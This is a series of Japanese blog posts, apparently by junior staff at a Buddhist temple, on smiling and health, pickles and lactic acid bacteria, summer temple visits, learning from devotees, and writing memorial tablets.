笑いの効用

御奉公で失敗した時に落ち込んでしまい、自分の至らなさを悲観的に考えるなど、人の思考の癖というものは中なか簡単には変わりにくいもので、しばしば悩みの種になるものです。

そこで、思考というものがどんな働きをするかを考えますに、私達が思考したりする前には必ず感情の動きがあるものです。感情には喜怒哀楽があり、それらの感情を上手いことコントロールすれば、プラス思考にもっていくことができるはずです。

ある学者さんの説には、楽しい、嬉しい、面白い、喜ぶ、はしゃぐなどの感情が働くと、思考が良いように働き出し、プラス思考になるという研究結果があるようです。それらの感情に共通しているのは、表情が「笑顔」であるということです。

笑顔

Hani Eriani

それに、笑いは私達の健康にも良い影響を与えてくれます。例えば、ストレスを解消できたり、腹筋・横隔膜が鍛えられたりします。医学的にも、免疫力のアップや自律神経のバランスを整えたり、血圧の低下や心臓病のリスク軽減にもつながることが立証されてきているそうです。

また、笑顔は良い人間関係の構築にもつながります。ですから、日々笑顔を絶やさないように心掛けることが大切だと思います。まさに笑う門には福来たるということわざの通りのようです。お互いご信者は、毎日笑顔で御奉公させていただきますので、心身共に健康のお計らいが頂けるものです。

 さあ、皆さんもどんどん笑顔を振りまきましょう。(^_^)V



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漬け物のはなし

漬け物みなさんはお漬物はお好きですか?私は茄子漬けや味噌漬け、べったら漬けなどが好きです。

漬け物の名称は、「こうこう(香々)」、「おこうこう(御香々)」、「こうのもの(香の物)」などともいい、香(こう)は味噌のことを指し、これらの言葉は本来は漬物一般を指す言葉でしたが、関西を中心に現在は全国的にも、ばら沢庵漬けを指すことが多いそうです。

また、「しんこう(新香)」、「おしんこう(御新香)」、「おしんこ」という言葉は、かつて新鮮な野菜の色を失わない浅漬けの物を指す言葉でしたが、近年ではこちらも沢庵漬けを指すことが多いそうです。漬物で一番ポピュラーなものは沢庵漬けなのでしょうか。

漬物は発酵により、酸味が強くなる場合もあります。乳酸菌による発酵は素材に酸味を主体とした味や香りの変化を与えるとともに、腐敗や微生物の繁殖を抑えて、食品の長期保存を可能にしているそうです。

野菜や豆、米や麦などの植物素材を発酵させた乳酸菌のことを植物性乳酸菌といい、酸に強く、生きたまま腸に届くため、現在注目を浴びています。植物性乳酸菌は、腸まで届くプロバイオティクス食品であり、腸内生存率が動物性乳酸菌の十倍であるといわれています。

また、植物性乳酸菌の効果として、免疫活性作用、発ガン物質の排出・分解、便秘・下痢の解消、病原菌感染の予防などがあげられています。

自分の好きな素材を様々な漬け方で漬けて美味しくいただいて、身体に良いお漬物。何だかお腹が空いてきました。みなさんはいかがでしょうか。

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暑い中の御参詣

太陽ありがとうございます。毎日、暑い日が続いておりますが、ご信者の皆さまはいかがお過ごしでしょうか。

只今、夏期参詣期間中でございます。シャトルバスも出ているのだしこの時期はお寺にお参詣させていただこう、というように暑いながらもお寺にお参詣させて頂けば、気持ちもさっぱりしてこの暑さも乗り切れるのではないでしょうか。もちろんお参詣の功徳も積めます。


夏は暑くてぼーっとして思わぬ怪我をしたり、熱中症になったり、水難に遭ったりと、注意しなければなりません。そこで、この時期ついででもちょっとお寺に寄ってお参詣すれば、定業能転、災難除滅のお計らいが頂けて楽しく夏が過ごせるのではないでしょうか。

これからお盆の時期を迎えるにあたり、各家先祖代々のご回向などで故人を弔えば、故人も喜んで、より一層ご守護下されるのではないでしょうか。ますます夏期参詣に励んで、ご信者の皆様が、御題目口唱の御利益で今年も暑い夏を乗りこえますよう、祈念しております。

合掌

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ご信者さんを見て学んだこと

ありがとうございます。教務ブログ2回目となります。私はまだ教務になって日が浅いのでまだまだ分からないこともたくさんありますが、一つひとつ先輩お教務さんに御奉公のいろはを教えていただいております。

今は寺内の御奉公が中心ですが、時には助手という立場でお助行や御講席に随行させていただいております。お看経の言上などもまだ不慣れで、言葉をつっかえてしまう時もありますが、ご信者さんとふれ合いながら徐々に御奉公を学ばせて頂いております。

随行している時、自分では気が付かない色々なところを、ご信者さんに指摘していただけるので、自分の至らなさを反省すると共に、細やかな心配りなどとても勉強になります。

こういった客観的に見てくれる他人の意見を頂けることで、それまで自分では気づかなかったようなことにも気づかせて頂けるので、注意を受けたようなことをよく心に留めて、一つひとつをこれからの糧にしたいと思います。

また、寺内の御奉公をしているときなどに、ご信者さんがお寺参詣に励まれているのを見ると、ありがたい気持ちになって私ももっと頑張らなくてはいけないなと感じます。

良くできたご信者さんは当然のように毎日お寺参詣に励まれておられますが、中には我々教務よりも早起きをして、毎朝何時間もかけて遠いところからお参りしているお方もいらっしゃるので、こちらも気を張ってお看経に励んで、運僧という言上書を御導師のもとへお運びする御奉公なども、少しでもおごそかに見えるよう気をつけなければいけないと思います。

これからの季節、急に暑くなってくるので体調を非常に崩しやすい季節となります。御奉公は身体が第一です。ご信者さんもぜひお身体に注意して頂きたいと思います。

世間にもれずお寺も高齢化社会になってきてはいますが、お歳を感じさせないご信者さんの元気な御奉公の姿を見る度に、何ともありがたい気持ちで一杯になります。いつまでもお元気で御奉公されることを願っております。皆さんのご信心前から良い刺激を受けて、私ももっと自身の信心を磨いていかねばならないと思います。

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お塔婆浄書

お塔婆私は、乗泉寺の朝の勤行に上がるお塔婆浄書のご奉公を任されています。

お塔婆とは、卒塔婆(そとうば)ともいい、元々は仏様を供養するために建てた塔のことを指したそうです。このことをインドの古語サンスクリット語では「ストゥーパ」といい、その発音を漢字に当てたものを「卒塔婆」というのです。

インド、中国、日本と伝わっていくなかで、現在では法要や年忌回向お墓参りなど、その時々に精霊の追善供養の為に建てる塔状の木の板や、同形状の紙で出来たモノをいうことになっています。

この塔婆には、必ずその宗派の大事な文字が記されます。当宗では「南無妙法蓮華経」と書かれ、その下に弔う方の戒名や俗名が書かれます。

ご信者さんは、申込み用紙にお戒名を書いて、寺務所に申し込み、その申込み用紙のお戒名を私がお塔婆に浄書させて頂いております。

お塔婆は、一日多い時には30本位の時もあり、1本1本丁寧に浄書させて頂くことを心掛けて御奉公させて頂きますと、浄書に時間がかかってしまったりする時もあります。

お塔婆の申込みの本数が多いと、それなりに浄書するのも大変ですが、ご信者さんの故人に対するご回向の心をお塔婆に込めて浄書させて頂く事が、少しでも御法の為にならせて頂けているのかなと思い、お教務さんならではのお塔婆浄書がとても有り難く感じます。

お教務さんになる前は、ほとんど筆を持つ機会もなく、字も下手ですので、朝の勤行で自分の浄書したお塔婆がご宝前に上がっていますと、恥ずかしくなるときもあり、弔主に申し訳ないとも感じます。

お塔婆を浄書させて頂くからには、字も上手く書かせて頂こうという気持ちになり、もっと練習をしなければいけないとも思います。

これからお彼岸の時期になります。たくさんの申込みがありますので、一本一本丁寧に書かせて頂きたいと思います。

 
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